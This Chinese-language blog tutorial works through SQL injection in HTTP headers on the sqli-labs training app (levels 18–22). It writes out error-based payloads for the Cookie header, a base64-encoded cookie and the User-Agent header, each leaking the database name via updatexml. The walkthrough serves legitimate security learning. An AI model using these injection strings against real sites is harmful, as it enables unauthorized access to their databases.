2.HTTP头部注入

发布时间 2023-03-30 11:14:55作者: 热死也要烫头

其余web文章参考:web学习目录

三个参数传递方式,get、post、cookie

1. cookie注入

以sqli-lab第20关为例,注入点cookie中,用Dumb/Dumb登录,包发送到repeater模块

image-20230303203353906

使用单引号有报错,但是加入#号后无报错,此处可以使用报错注入

image-20230303203716991

使用如下语句:

Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select database()),0x5e),1)#

image-20230303204222469

2. base64注入

以sqli-lab第22关为例,注入的参数需要进行base64编码

首先找到对应的cookie传递参数,此处为admin4

image-20230303205726153

使用解码模块,将对应的数据解码后得到admin4

image-20230303205758695

使用单引号、双引号判断此处为双引号字符型注入,然后用#注释掉后面的语句,双引号就没有报错

image-20230303210638349

admin4" and updatexml(1,concat(0x5e,(select database()),0x5e),1)#

最终结果如下图所示

image-20230303210723060

3. User-Agent注入

以第十八关为例,

此处因为有括号,判断是个insert语句,不是sql语句

image-20230303214408139

使用and '1

User-Agent:1' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

image-20230303214850578

4. referer注入

以19关为例

image-20230303222818015